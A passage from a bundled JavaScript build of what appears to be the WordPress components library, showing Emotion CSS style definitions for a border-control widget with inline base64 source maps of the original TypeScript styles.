bIDgwMCBdIH07XG5cdFx0XHR9XG5cdFx0YCxcblx0XHRkZWZhdWx0OiBjc3NgXG5cdFx0XHRib3gtc2l6aW5nOiBib3JkZXItYm94O1xuXHRcdFx0bWluLXdpZHRoOiAyNHB4O1xuXHRcdFx0bWF4LXdpZHRoOiA0OHB4O1xuXHRcdFx0aGVpZ2h0OiAyNHB4O1xuXHRcdFx0bWFyZ2luLWlubGluZS1lbmQ6ICR7IHNwYWNlKCAyICkgfTtcblx0XHRcdHBhZGRpbmc6ICR7IHNwYWNlKCAxICkgfTtcblxuXHRcdFx0Zm9udC1zaXplOiAxM3B4O1xuXHRcdFx0bGluZS1oZWlnaHQ6IDE7XG5cdFx0XHR0ZXh0LWFsaWduLWxhc3Q6IGNlbnRlcjtcblx0XHRcdHdoaXRlLXNwYWNlOiBub3dyYXA7XG5cdFx0XHRvdmVyZmxvdzogaGlkZGVuO1xuXHRcdFx0dGV4dC1vdmVyZmxvdzogZWxsaXBzaXM7XG5cdFx0XHRmaWVsZC1zaXppbmc6IGNvbnRlbnQ7XG5cblx0XHRcdCY6bm90KCA6ZGlzYWJsZWQgKSB7XG5cdFx0XHRcdGNvbG9yOiAkeyBDT0xPUlMudGhlbWUuYWNjZW50IH07XG5cdFx0XHR9XG5cdFx0YCxcblx0fTtcblxuXHRyZXR1cm4gc2l6ZXNbIHNlbGVjdFNpemUgXTtcbn07XG5cbmV4cG9ydCBjb25zdCBVbml0TGFiZWwgPSBzdHlsZWQuZGl2PCBTZWxlY3RQcm9wcyA+YFxuXHQmJiYge1xuXHRcdHBvaW50ZXItZXZlbnRzOiBub25lO1xuXG5cdFx0JHsgYmFzZVVuaXRMYWJlbFN0eWxlcyB9O1xuXG5cdFx0Y29sb3I6ICR7IENPTE9SUy5ncmF5WyA5MDAgXSB9O1xuXHR9XG5gO1xuXG5jb25zdCB1bml0U2VsZWN0U2l6ZXMgPSAoIHsgc2VsZWN0U2l6ZSA9ICdkZWZhdWx0JyB9OiBTZWxlY3RQcm9wcyApID0+IHtcblx0Y29uc3Qgc2l6ZXMgPSB7XG5cdFx0c21hbGw6IGNzc2Bcblx0XHRcdGhlaWdodDogMTAwJTtcblx0XHRcdGJvcmRlcjogMXB4IHNvbGlkIHRyYW5zcGFyZW50O1xuXHRcdFx0dHJhbnNpdGlvbjpcblx0XHRcdFx0Ym94LXNoYWRvdyAwLjFzIGxpbmVhcixcblx0XHRcdFx0Ym9yZGVyIDAuMXMgbGluZWFyO1xuXG5cdFx0XHQkeyBydGwoIHsgYm9yZGVyVG9wTGVmdFJhZGl1czogMCwgYm9yZGVyQm90dG9tTGVmdFJhZGl1czogMCB9ICkoKSB9XG5cblx0XHRcdCY6bm90KDpkaXNhYmxlZCk6aG92ZXIge1xuXHRcdFx0XHRiYWNrZ3JvdW5kLWNvbG9yOiAkeyBDT0xPUlMuZ3JheVsgMTAwIF0gfTtcblx0XHRcdH1cblxuXHRcdFx0Jjpmb2N1cyB7XG5cdFx0XHRcdGJvcmRlcjogMXB4IHNvbGlkICR7IENPTE9SUy51aS5ib3JkZXJGb2N1cyB9O1xuXHRcdFx0XHRib3gtc2hhZG93OiBpbnNldCAwIDAgMFxuXHRcdFx0XHRcdCR7IENPTkZJRy5ib3JkZXJXaWR0aCArICcgJyArIENPTE9SUy51aS5ib3JkZXJGb2N1cyB9O1xuXHRcdFx0XHRvdXRsaW5lLW9mZnNldDogMDtcblx0XHRcdFx0b3V0bGluZTogMnB4IHNvbGlkIHRyYW5zcGFyZW50O1xuXHRcdFx0XHR6LWluZGV4OiAxO1xuXHRcdFx0fVxuXHRcdGAsXG5cdFx0ZGVmYXVsdDogY3NzYFxuXHRcdFx0ZGlzcGxheTogZmxleDtcblx0XHRcdGp1c3RpZnktY29udGVudDogY2VudGVyO1xuXHRcdFx0YWxpZ24taXRlbXM6IGNlbnRlcjtcblxuXHRcdFx0Jjp3aGVyZSggOm5vdCggOmRpc2FibGVkICkgKTpob3ZlciB7XG5cdFx0XHRcdGJveC1zaGFkb3c6IDAgMCAwXG5cdFx0XHRcdFx0JHsgQ09ORklHLmJvcmRlcldpZHRoICsgJyAnICsgQ09MT1JTLnVpLmJvcmRlckZvY3VzIH07XG5cdFx0XHRcdG91dGxpbmU6ICR7IENPTkZJRy5ib3JkZXJXaWR0aCB9IHNvbGlkIHRyYW5zcGFyZW50OyAvLyBGb3IgSGlnaCBDb250cmFzdCBNb2RlXG5cdFx0XHR9XG5cblx0XHRcdCY6Zm9jdXMge1xuXHRcdFx0XHRib3gtc2hhZG93OiAwIDAgMFxuXHRcdFx0XHRcdCR7IENPTkZJRy5ib3JkZXJXaWR0aEZvY3VzICsgJyAnICsgQ09MT1JTLnVpLmJvcmRlckZvY3VzIH07XG5cdFx0XHRcdG91dGxpbmU6ICR7IENPTkZJRy5ib3JkZXJXaWR0aEZvY3VzIH0gc29saWQgdHJhbnNwYXJlbnQ7IC8vIEZvciBIaWdoIENvbnRyYXN0IE1vZGVcblx0XHRcdH1cblx0XHRgLFxuXHR9O1xuXG5cdHJldHVybiBzaXplc1sgc2VsZWN0U2l6ZSBdO1xufTtcblxuZXhwb3J0IGNvbnN0IFVuaXRTZWxlY3QgPSBzdHlsZWQuc2VsZWN0PCBTZWxlY3RQcm9wcyA+YFxuXHQvLyBUaGUgJiYmIGNvdW50ZXJhY3RzIDxzZWxlY3Q+IHN0eWxlcyBpbiBXUCBmb3Jtcy5jc3Ncblx0JiYmIHtcblx0XHRhcHBlYXJhbmNlOiBub25lO1xuXHRcdGJhY2tncm91bmQ6IHRyYW5zcGFyZW50O1xuXHRcdGJvcmRlci1yYWRpdXM6ICR7IENPTkZJRy5yYWRpdXNYU21hbGwgfTtcblx0XHRib3JkZXI6IG5vbmU7XG5cdFx0ZGlzcGxheTogYmxvY2s7XG5cdFx0b3V0bGluZTogbm9uZTtcblx0XHQvKiBSZW1vdmluZyBtYXJnaW4gZW5zdXJlcyBmb2N1cyBzdHlsZXMgbmVhdGx5IG92ZXJsYXkgdGhlIHdyYXBwZXIuICovXG5cdFx0bWFyZ2luOiAwO1xuXHRcdG1pbi1oZWlnaHQ6IGF1dG87XG5cdFx0Zm9udC1mYW1pbHk6IGluaGVyaXQ7XG5cblx0XHQmOm5vdCggOmRpc2FibGVkICkge1xuXHRcdFx0Y3Vyc29yOiBwb2ludGVyO1xuXHRcdH1cblxuXHRcdCR7IGJhc2VVbml0TGFiZWxTdHlsZXMgfTtcblx0XHQkeyB1bml0U2VsZWN0U2l6ZXMgfTtcblx0fVxuYDtcbiJdfQ== */"));
32761
32762 // packages/components/build-module/border-control/styles.mjs
32763 function _EMOTION_STRINGIFIED_CSS_ERROR__14() {
32764 return "You have tried to stringify object returned from `css` function. It isn't supposed to be used directly (e.g. as value of the `className` prop), but rather handed to emotion so it can handle it (e.g. as value of `css` prop).";
32765 }
32766 var focusBoxShadow = /* @__PURE__ */ css("box-shadow:inset ", config_values_default.controlBoxShadowFocus, ";" + (false ? "" : ";label:focusBoxShadow;"), false ? "" : "/*# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbInN0eWxlcy50cyJdLCJuYW1lcyI6W10sIm1hcHBpbmdzIjoiQUFrQjBCIiwiZmlsZSI6InN0eWxlcy50cyIsInNvdXJjZXNDb250ZW50IjpbIi8qKlxuICogRXh0ZXJuYWwgZGVwZW5kZW5jaWVzXG4gKi9cbmltcG9ydCB7IGNzcyB9IGZyb20gJ0BlbW90aW9uL3JlYWN0JztcblxuLyoqXG4gKiBJbnRlcm5hbCBkZXBlbmRlbmNpZXNcbiAqL1xuaW1wb3J0IHsgQ09MT1JTLCBDT05GSUcsIGJveFNpemluZ1Jlc2V0LCBydGwgfSBmcm9tICcuLi91dGlscyc7XG5pbXBvcnQgeyBzcGFjZSB9IGZyb20gJy4uL3V0aWxzL3NwYWNlJztcbmltcG9ydCB7IFN0eWxlZExhYmVsIH0gZnJvbSAnLi4vYmFzZS1jb250cm9sL3N0eWxlcy9iYXNlLWNvbnRyb2wtc3R5bGVzJztcbmltcG9ydCB7XG5cdFZhbHVlSW5wdXQgYXMgVW5pdENvbnRyb2xXcmFwcGVyLFxuXHRVbml0U2VsZWN0LFxufSBmcm9tICcuLi91bml0LWNvbnRyb2wvc3R5bGVzL3VuaXQtY29udHJvbC1zdHlsZXMnO1xuXG5pbXBvcnQgdHlwZSB7IEJvcmRlciB9IGZyb20gJy4vdHlwZXMnO1xuXG5jb25zdCBmb2N1c0JveFNoYWRvdyA9IGNzc2Bcblx0Ym94LXNoYWRvdzogaW5zZXQgJHsgQ09ORklHLmNvbnRyb2xCb3hTaGFkb3dGb2N1cyB9O1xuYDtcblxuZXhwb3J0IGNvbnN0IGJvcmRlckNvbnRyb2wgPSBjc3NgXG5cdGJvcmRlcjogMDtcblx0cGFkZGluZzogMDtcblx0bWFyZ2luOiAwO1xuXHQkeyBib3hTaXppbmdSZXNldCB9XG5gO1xuXG5leHBvcnQgY29uc3QgaW5uZXJXcmFwcGVyID0gKCkgPT4gY3NzYFxuXHQkeyBVbml0Q29udHJvbFdyYXBwZXIgfSB7XG5cdFx0ZmxleDogMSAxIDQwJTtcblx0fVxuXHQmJiAkeyBVbml0U2VsZWN0IH0ge1xuXHRcdC8qIFByZXZlbnQgdW5pdCBzZWxlY3QgZm9yY2luZyBtaW4gaGVpZ2h0IGxhcmdlciB0aGFuIGl0cyBVbml0Q29udHJvbCAqL1xuXHRcdG1pbi1oZWlnaHQ6IDA7XG5cdH1cbmA7XG5cbi8qXG4gKiBUaGlzIHN0eWxlIGlzIG9ubHkgYXBwbGllZCB0byB0aGUgVW5pdENvbnRyb2wgd3JhcHBlciB3aGVuIHRoZSBib3JkZXIgd2lkdGhcbiAqIGZpZWxkIHNob3VsZCBiZSBhIHNldCB3aWR0aC4gT21pdHRpbmcgdGhpcyBhbGxvd3MgdGhlIFVuaXRDb250cm9sICZcbiAqIFJhbmdlQ29udHJvbCB0byBzaGFyZSB0aGUgYXZhaWxhYmxlIHdpZHRoIGluIGEgNDAvNjAgc3BsaXQgcmVzcGVjdGl2ZWx5LlxuICovXG5leHBvcnQgY29uc3Qgd3JhcHBlcldpZHRoID0gY3NzYFxuXHQkeyBVbml0Q29udHJvbFdyYXBwZXIgfSB7XG5cdFx0LyogRm9yY2UgdGhlIFVuaXRDb250cm9sJ3Mgc2V0IHdpZHRoLiAqL1xuXHRcdGZsZXg6IDAgMCBhdXRvO1xuXHR9XG5gO1xuXG5leHBvcnQgY29uc3Qgd3JhcHBlckhlaWdodCA9ICggc2l6ZT86ICdkZWZhdWx0JyB8ICdfX3Vuc3RhYmxlLWxhcmdlJyApID0+IHtcblx0cmV0dXJuIGNzc2Bcblx0XHRoZWlnaHQ6ICR7IHNpemUgPT09ICdfX3Vuc3RhYmxlLWxhcmdlJyA/ICc0MHB4JyA6ICczMHB4JyB9O1xuXHRgO1xufTtcblxuZXhwb3J0IGNvbnN0IGJvcmRlckNvbnRyb2xEcm9wZG93biA9IGNzc2Bcblx0YmFja2dyb3VuZDogI2ZmZjtcblxuXHQmJiA+IGJ1dHRvbiB7XG5cdFx0YXNwZWN0LXJhdGlvOiAxO1xuXHRcdHBhZGRpbmc6IDA7XG5cdFx0ZGlzcGxheTogZmxleDtcblx0XHRhbGlnbi1pdGVtczogY2VudGVyO1xuXHRcdGp1c3RpZnktY29udGVudDogY2VudGVyO1xuXHRcdCR7IHJ0bChcblx0XHRcdHsgYm9yZGVyUmFkaXVzOiBgMnB4IDAgMCAycHhgIH0sXG5cdFx0XHR7IGJvcmRlclJhZGl1czogYDAgMnB4IDJweCAwYCB9XG5cdFx0KSgpIH1cblx0XHRib3JkZXI6ICR7IENPTkZJRy5ib3JkZXJXaWR0aCB9IHNvbGlkICR7IENPTE9SUy51aS5ib3JkZXIgfTtcblxuXHRcdCY6Zm9jdXMsXG5cdFx0Jjpob3Zlcjpub3QoIDpkaXNhYmxlZCApIHtcblx0XHRcdCR7IGZvY3VzQm94U2hhZG93IH1cblx0XHRcdGJvcmRlci1jb2xvcjogJHsgQ09MT1JTLnVpLmJvcmRlckZvY3VzIH07XG5cdFx0XHR6LWluZGV4OiAxO1xuXHRcdFx0cG9zaXRpb246IHJlbGF0aXZlO1xuXHRcdH1cblx0fVxuYDtcblxuZXhwb3J0IGNvbnN0IGNvbG9ySW5kaWNhdG9yQm9yZGVyID0gKCBib3JkZXI/OiBCb3JkZXIgKSA9PiB7XG5cdGNvbnN0IHsgY29sb3IsIHN0eWxlIH0gPSBib3JkZXIgfHwge307XG5cblx0Y29uc3QgZmFsbGJhY2tDb2xvciA9XG5cdFx0ISEgc3R5bGUgJiYgc3R5bGUgIT09ICdub25lJyA/IENPTE9SUy5ncmF5WyAzMDAgXSA6IHVuZGVmaW5lZDtcblxuXHRyZXR1cm4gY3NzYFxuXHRcdGJvcmRlci1zdHlsZTogJHsgc3R5bGUgPT09ICdub25lJyA/ICdzb2xpZCcgOiBzdHlsZSB9O1xuXHRcdGJvcmRlci1jb2xvcjogJHsgY29sb3IgfHwgZmFsbGJhY2tDb2xvciB9O1xuXHRgO1xufTtcblxuZXhwb3J0IGNvbnN0IGNvbG9ySW5kaWNhdG9yV3JhcHBlciA9IChcblx0Ym9yZGVyPzogQm9yZGVyLFxuXHRzaXplPzogJ2RlZmF1bHQnIHwgJ19fdW5zdGFibGUtbGFyZ2UnXG4pID0+IHtcblx0Y29uc3QgeyBzdHlsZSB9ID0gYm9yZGVyIHx8IHt9O1xuXG5cdHJldHVybiBjc3NgXG5cdFx0Ym9yZGVyLXJhZGl1czogJHsgQ09ORklHLnJhZGl1c0Z1bGwgfTtcblx0XHRib3JkZXI6IDJweCBzb2xpZCB0cmFuc3BhcmVudDtcblx0XHQkeyBzdHlsZSA/IGNvbG9ySW5kaWNhdG9yQm9yZGVyKCBib3JkZXIgKSA6IHVuZGVmaW5lZCB9XG5cdFx0d2lkdGg6ICR7IHNpemUgPT09ICdfX3Vuc3RhYmxlLWxhcmdlJyA/ICcyNHB4JyA6ICcyMnB4JyB9O1xuXHRcdGhlaWdodDogJHsgc2l6ZSA9PT0gJ19fdW5zdGFibGUtbGFyZ2UnID8gJzI0cHgnIDogJzIycHgnIH07XG5cdFx0cGFkZGluZzogJHsgc2l6ZSA9PT0gJ19fdW5zdGFibGUtbGFyZ2UnID8gJzJweCcgOiAnMXB4JyB9O1xuXG5cdFx0Lypcblx0XHQgKiBDb2xvckluZGljYXRvclxuXHRcdCAqXG5cdFx0ICogVGhlIHRyYW5zcGFyZW50IGNvbG9ycyB1c2VkIGhlcmUgZW5zdXJlIHZpc2liaWxpdHkgb2YgdGhlIGluZGljYXRvclxuXHRcdCAqIG92ZXIgdGhlIGFjdGl2ZSBzdGF0ZSBvZiB0aGUgYm9yZGVyIGNvbnRyb2wgZHJvcGRvd24ncyB0b2dnbGUgYnV0dG9uLlxuXHRcdCAqL1xuXHRcdCYgPiBzcGFuIHtcblx0XHRcdGhlaWdodDogJHsgc3BhY2UoIDQgKSB9O1xuXHRcdFx0d2lkdGg6ICR7IHNwYWNlKCA0ICkgfTtcblx0XHRcdGJhY2tncm91bmQ6IGxpbmVhci1ncmFkaWVudChcblx0XHRcdFx0LTQ1ZGVnLFxuXHRcdFx0XHR0cmFuc3BhcmVudCA0OCUsXG5cdFx0XHRcdHJnYiggMCAwIDAgLyAyMCUgKSA0OCUsXG5cdFx0XHRcdHJnYiggMCAwIDAgLyAyMCUgKSA1MiUsXG5cdFx0XHRcdHRyYW5zcGFyZW50IDUyJVxuXHRcdFx0KTtcblx0XHR9XG5cdGA7XG59O1xuXG4vLyBNdXN0IGVxdWFsICRjb2xvci1wYWxldHRlLWNpcmNsZS1zaXplIGZyb206XG4vLyBAd29yZHByZXNzL2NvbXBvbmVudHMvc3JjL2NpcmN1bGFyLW9wdGlvbi1waWNrZXIvc3R5bGUuc2Nzc1xuY29uc3Qgc3dhdGNoU2l6ZSA9IDI4O1xuY29uc3Qgc3dhdGNoR2FwID0gMTI7XG5cbmV4cG9ydCBjb25zdCBib3JkZXJDb250cm9sUG9wb3ZlckNvbnRyb2xzID0gY3NzYFxuXHR3aWR0aDogJHsgc3dhdGNoU2l6ZSAqIDYgKyBzd2F0Y2hHYXAgKiA1IH1weDtcblxuXHQ+IGRpdjpmaXJzdC1vZi10eXBlID4gJHsgU3R5bGVkTGFiZWwgfSB7XG5cdFx0bWFyZ2luLWJvdHRvbTogMDtcblx0fVxuXG5cdCYmICR7IFN0eWxlZExhYmVsIH0gKyBidXR0b246bm90KCAuaGFzLXRleHQgKSB7XG5cdFx0bWluLXdpZHRoOiAyNHB4O1xuXHRcdHBhZGRpbmc6IDA7XG5cdH1cbmA7XG5cbmV4cG9ydCBjb25zdCBib3JkZXJDb250cm9sUG9wb3ZlckNvbnRlbnQgPSBjc3NgYDtcbmV4cG9ydCBjb25zdCBib3JkZXJDb2xvckluZGljYXRvciA9IGNzc2BgO1xuXG5leHBvcnQgY29uc3QgcmVzZXRCdXR0b25XcmFwcGVyID0gY3NzYFxuXHRkaXNwbGF5OiBmbGV4O1xuXHRqdXN0aWZ5LWNvbnRlbnQ6IGZsZXgtZW5kO1xuXHRtYXJnaW4tdG9wOiAxMnB4O1xuYDtcblxuZXhwb3J0IGNvbnN0IGJvcmRlclNsaWRlciA9ICgpID0+IGNzc2Bcblx0ZmxleDogMSAxIDYwJTtcblx0JHsgcnRsKCB7IG1hcmdpblJpZ2h0OiBzcGFjZSggMyApIH0gKSgpIH1cbmA7XG4iXX0= */");
32767 var borderControl = /* @__PURE__ */ css("border:0;padding:0;margin:0;", boxSizingReset, ";" + (false ? "" : ";label:borderControl;"), false ? "" : "/*# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbInN0eWxlcy50cyJdLCJuYW1lcyI6W10sIm1hcHBpbmdzIjoiQUFzQmdDIiwiZmlsZSI6InN0eWxlcy50cyIsInNvdXJjZXNDb250ZW50IjpbIi8qKlxuICogRXh0ZXJuYWwgZGVwZW5kZW5jaWVzXG4gKi9cbmltcG9ydCB7IGNzcyB9IGZyb20gJ0BlbW90aW9uL3JlYWN0JztcblxuLyoqXG4gKiBJbnRlcm5hbCBkZXBlbmRlbmNpZXNcbiAqL1xuaW1wb3J0IHsgQ09MT1JTLCBDT05GSUcsIGJveFNpemluZ1Jlc2V0LCBydGwgfSBmcm9tICcuLi91dGlscyc7XG5pbXBvcnQgeyBzcGFjZSB9IGZyb20gJy4uL3V0aWxzL3NwYWNlJztcbmltcG9ydCB7IFN0eWxlZExhYmVsIH0gZnJvbSAnLi4vYmFzZS1jb250cm9sL3N0eWxlcy9iYXNlLWNvbnRyb2wtc3R5bGVzJztcbmltcG9ydCB7XG5cdFZhbHVlSW5wdXQgYXMgVW5pdENvbnRyb2xXcmFwcGVyLFxuXHRVbml0U2VsZWN0LFxufSBmcm9tICcuLi91bml0LWNvbnRyb2wvc3R5bGVzL3VuaXQtY29udHJvbC1zdHlsZXMnO1xuXG5pbXBvcnQgdHlwZSB7IEJvcmRlciB9IGZyb20gJy4vdHlwZXMnO1xuXG5jb25zdCBmb2N1c0JveFNoYWRvdyA9IGNzc2Bcblx0Ym94LXNoYWRvdzogaW5zZXQgJHsgQ09ORklHLmNvbnRyb2xCb3hTaGFkb3dGb2N1cyB9O1xuYDtcblxuZXhwb3J0IGNvbnN0IGJvcmRlckNvbnRyb2wgPSBjc3NgXG5cdGJvcmRlcjogMDtcblx0cGFkZGluZzogMDtcblx0bWFyZ2luOiAwO1xuXHQkeyBib3hTaXppbmdSZXNldCB9XG5gO1xuXG5leHBvcnQgY29uc3QgaW5uZXJXcmFwcGVyID0gKCkgPT4gY3NzYFxuXHQkeyBVbml0Q29udHJvbFdyYXBwZXIgfSB7XG5cdFx0ZmxleDogMSAxIDQwJTtcblx0fVxuXHQmJiAkeyBVbml0U2VsZWN0IH0ge1xuXHRcdC8qIFByZXZlbnQgdW5pdCBzZWxlY3QgZm9yY2luZyBtaW4gaGVpZ2h0IGxhcmdlciB0aGFuIGl0cyBVbml0Q29udHJvbCAqL1xuXHRcdG1pbi1oZWlnaHQ6IDA7XG5cdH1cbmA7XG5cbi8qXG4gKiBUaGlzIHN0eWxlIGlzIG9ubHkgYXBwbGllZCB0byB0aGUgVW5pdENvbnRyb2wgd3JhcHBlciB3aGVuIHRoZSBib3JkZXIgd2lkdGhcbiAqIGZpZWxkIHNob3VsZCBiZSBhIHNldCB3aWR0aC4gT21pdHRpbmcgdGhpcyBhbGxvd3MgdGhlIFVuaXRDb250cm9sICZcbiAqIFJhbmdlQ29udHJvbCB0byBzaGFyZSB0aGUgYXZhaWxhYmxlIHdpZHRoIGluIGEgNDAvNjAgc3BsaXQgcmVzcGVjdGl2ZWx5LlxuICovXG5leHBvcnQgY29uc3Qgd3JhcHBlcldpZHRoID0gY3NzYFxuXHQkeyBVbml0Q29udHJvbFdyYXBwZXIgfSB7XG5cdFx0LyogRm9yY2UgdGhlIFVuaXRDb250cm9sJ3Mgc2V0IHdpZHRoLiAqL1xuXHRcdGZsZXg6IDAgMCBhdXRvO1xuXHR9XG5gO1xuXG5leHBvcnQgY29uc3Qgd3JhcHBlckhlaWdodCA9ICggc2l6ZT86ICdkZWZhdWx0JyB8ICdfX3Vuc3RhYmxlLWxhcmdlJyApID0+IHtcblx0cmV0dXJuIGNzc2Bcblx0XHRoZWlnaHQ6ICR7IHNpemUgPT09ICdfX3Vuc3RhYmxlLWxhcmdlJyA/ICc0MHB4JyA6ICczMHB4JyB9O1xuXHRgO1xufTtcblxuZXhwb3J0IGNvbnN0IGJvcmRlckNvbnRyb2xEcm9wZG93biA9IGNzc2Bcblx0YmFja2dyb3VuZDogI2ZmZjtcblxuXHQmJiA+IGJ1dHRvbiB7XG5cdFx0YXNwZWN0LXJhdGlvOiAxO1xuXHRcdHBhZGRpbmc6IDA7XG5cdFx0ZGlzcGxheTogZmxleDtcblx0XHRhbGlnbi1pdGVtczogY2VudGVyO1xuXHRcdGp1c3RpZnktY29udGVudDogY2VudGVyO1xuXHRcdCR7IHJ0bChcblx0XHRcdHsgYm9yZGVyUmFkaXVzOiBgMnB4IDAgMCAycHhgIH0sXG5cdFx0XHR7IGJvcmRlclJhZGl1czogYDAgMnB4IDJweCAwYCB9XG5cdFx0KSgpIH1cblx0XHRib3JkZXI6ICR7IENPTkZJRy5ib3JkZXJXaWR0aCB9IHNvbGlkICR7IENPTE9SUy51aS5ib3JkZXIgfTtcblxuXHRcdCY6Zm9jdXMsXG5cdFx0Jjpob3Zlcjpub3QoIDpkaXNhYmxlZCApIHtcblx0XHRcdCR7IGZvY3VzQm94U2hhZG93IH1cblx0XHRcdGJvcmRlci1jb2xvcjogJHsgQ09MT1JTLnVpLmJvcmRlckZvY3VzIH07XG5cdFx0XHR6LWluZGV4OiAxO1xuXHRcdFx0cG9zaXRpb246IHJlbGF0aXZlO1xuXHRcdH1cblx0fVxuYDtcblxuZXhwb3J0IGNvbnN0IGNvbG9ySW5kaWNhdG9yQm9yZGVyID0gKCBib3JkZXI/OiBCb3JkZXIgKSA9PiB7XG5cdGNvbnN0IHsgY29sb3IsIHN0eWxlIH0gPSBib3JkZXIgfHwge307XG5cblx0Y29uc3QgZmFsbGJhY2tDb2xvciA9XG5cdFx0ISEgc3R5bGUgJiYgc3R5bGUgIT09ICdub25lJyA/IENPTE9SUy5ncmF5WyAzMDAgXSA6IHVuZGVmaW5lZDtcblxuXHRyZXR1cm4gY3NzYFxuXHRcdGJvcmRlci1zdHlsZTogJHsgc3R5bGUgPT09ICdub25lJyA/ICdzb2xpZCcgOiBzdHlsZSB9O1xuXHRcdGJvcmRlci1jb2xvcjogJHsgY29sb3IgfHwgZmFsbGJhY2tDb2xvciB9O1xuXHRgO1xufTtcblxuZXhwb3J0IGNvbnN0IGNvbG9ySW5kaWNhdG9yV3JhcHBlciA9IChcblx0Ym9yZGVyPzogQm9yZGVyLFxuXHRzaXplPzogJ2RlZmF1bHQnIHwgJ19fdW5zdGFibGUtbGFyZ2UnXG4pID0+IHtcblx0Y29uc3QgeyBzdHlsZSB9ID0gYm9yZGVyIHx8IHt9O1xuXG5cdHJldHVybiBjc3NgXG5cdFx0Ym9yZGVyLXJhZGl1czogJHsgQ09ORklHLnJhZGl1c0Z1bGwgfTtcblx0XHRib3JkZXI6IDJweCBzb2xpZCB0cmFuc3BhcmVudDtcblx0XHQkeyBzdHlsZSA/IGNvbG9ySW5kaWNhdG9yQm9yZGVyKCBib3JkZXIgKSA6IHVuZGVmaW5lZCB9XG5cdFx0d2lkdGg6ICR7IHNpemUgPT09ICdfX3Vuc3RhYmxlLWxhcmdlJyA/ICcyNHB4JyA6ICcyMnB4JyB9O1xuXHRcdGhlaWdodDogJHsgc2l6ZSA9PT0gJ19fdW5zdGFibGUtbGFyZ2UnID8gJzI0cHgnIDogJzIycHgnIH07XG5cdFx0cGFkZGluZzogJHsgc2l6ZSA9PT0gJ19fdW5zdGFibGUtbGFyZ2UnID8gJzJweCcgOiAnMXB4JyB9O1xuXG5cdFx0Lypcblx0XHQgKiBDb2xvckluZGljYXRvclxuXHRcdCAqXG5cdFx0ICogVGhlIHRyYW5zcGFyZW50IGNvbG9ycyB1c2VkIGhlcmUgZW5zdXJlIHZpc2liaWxpdHkgb2YgdGhlIGluZGljYXRvclxuXHRcdCAqIG92ZXIgdGhlIGFjdGl2ZSBzdGF0ZSBvZiB0aGUgYm9yZGVyIGNvbnRyb2wgZHJvcGRvd24ncyB0b2dnbGUgYnV0dG9uLlxuXHRcdCAqL1xuXHRcdCYgPiBzcGFuIHtcblx0XHRcdGhlaWdodDogJHsgc3BhY2UoIDQgKSB9O1xuXHRcdFx0d2lkdGg6ICR7IHNwYWNlKCA0ICkgfTtcblx0XHRcdGJhY2tncm91bmQ6IGxpbmVhci1ncmFkaWVudChcblx0XHRcdFx0LTQ1ZGVnLFxuXHRcdFx0XHR0cmFuc3BhcmVudCA0OCUsXG5cdFx0XHRcdHJnYiggMCAwIDAgLyAyMCUgKSA0OCUsXG5cdFx0XHRcdHJnYiggMCAwIDAgLyAyMCUgKSA1MiUsXG5cdFx0XHRcdHRyYW5zcGFyZW50IDUyJVxuXHRcdFx0KTtcblx0XHR9XG5cdGA7XG59O1xuXG4vLyBNdXN0IGVxdWFsICRjb2xvci1wYWxldHRlLWNpcmNsZS1zaXplIGZyb206XG4vLyBAd29yZHByZXNzL2NvbXBvbmVudHMvc3JjL2NpcmN1bGFyLW9wdGlvbi1waWNrZXIvc3R5bGUuc2Nzc1xuY29uc3Qgc3dhdGNoU2l6ZSA9IDI4O1xuY29uc3Qgc3dhdGNoR2FwID0gMTI7XG5cbmV4cG9ydCBjb25zdCBib3JkZXJDb250cm9sUG9wb3ZlckNvbnRyb2xzID0gY3NzYFxuXHR3aWR0aDogJHsgc3dhdGNoU2l6ZSAqIDYgKyBzd2F0Y2hHYXAgKiA1IH1weDtcblxuXHQ+IGRpdjpmaXJzdC1vZi10eXBlID4gJHsgU3R5bGVkTGFiZWwgfSB7XG5cdFx0bWFyZ2luLWJvdHRvbTogMDtcblx0fVxuXG5cdCYmICR7IFN0eWxlZExhYmVsIH0gKyBidXR0b246bm90KCAuaGFzLXRleHQgKSB7XG5cdFx0bWluLXdpZHRoOiAyNHB4O1xuXHRcdHBhZGRpbmc6IDA7XG5cdH1cbmA7XG5cbmV4cG9ydCBjb25zdCBib3JkZXJDb250cm9sUG9wb3ZlckNvbnRlbnQgPSBjc3NgYDtcbmV4cG9ydCBjb25zdCBib3JkZXJDb2xvckluZGljYXRvciA9IGNzc2BgO1xuXG5leHBvcnQgY29uc3QgcmVzZXRCdXR0b25XcmFwcGVyID0gY3NzYFxuXHRkaXNwbGF5OiBmbGV4O1xuXHRqdXN0aWZ5LWNvbnRlbnQ6IGZsZXgtZW5kO1xuXHRtYXJnaW4tdG9wOiAxMnB4O1xuYDtcblxuZXhwb3J0IGNvbnN0IGJvcmRlclNsaWRlciA9ICgpID0+IGNzc2Bcblx0ZmxleDogMSAxIDYwJTtcblx0JHsgcnRsKCB7IG1hcmdpblJpZ2h0OiBzcGFjZSggMyApIH0gKSgpIH1cbmA7XG4iXX0= */");
32768 var innerWrapper = () => /* @__PURE__ */ css(ValueInput, "{flex:1 1 40%;}&& ", UnitSelect, "{min-height:0;}" + (false ? "" : ";label:innerWrapper;"), false ? "" : "/*# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbInN0eWxlcy50cyJdLCJuYW1lcyI6W10sIm1hcHBpbmdzIjoiQUE2QnFDIiwiZmlsZSI6InN0eWxlcy50cyIsInNvdXJjZXNDb250ZW50IjpbIi8qKlxuICogRXh0ZXJuYWwgZGVwZW5kZW5jaWVzXG4gKi9cbmltcG9ydCB7IGNzcyB9IGZyb20gJ0BlbW90aW9uL3JlYWN0JztcblxuLyoqXG4gKiBJbnRlcm5hbCBkZXBlbmRlbmNpZXNcbiAqL1xuaW1wb3J0IHsgQ09MT1JTLCBDT05GSUcsIGJveFNpemluZ1Jlc2V0LCBydGwgfSBmcm9tICcuLi91dGlscyc7XG5pbXBvcnQgeyBzcGFjZSB9IGZyb20gJy4uL3V0aWxzL3NwYWNlJztcbmltcG9ydCB7IFN0eWxlZExhYmVsIH0gZnJvbSAnLi4vYmFzZS1jb250cm9sL3N0eWxlcy9iYXNlLWNvbnRyb2wtc3R5bGVzJztcbmltcG9ydCB7XG5cdFZhbHVlSW5wdXQgYXMgVW5pdENvbnRyb2xXcmFwcGVyLFxuXHRVbml0U2VsZWN0LFxufSB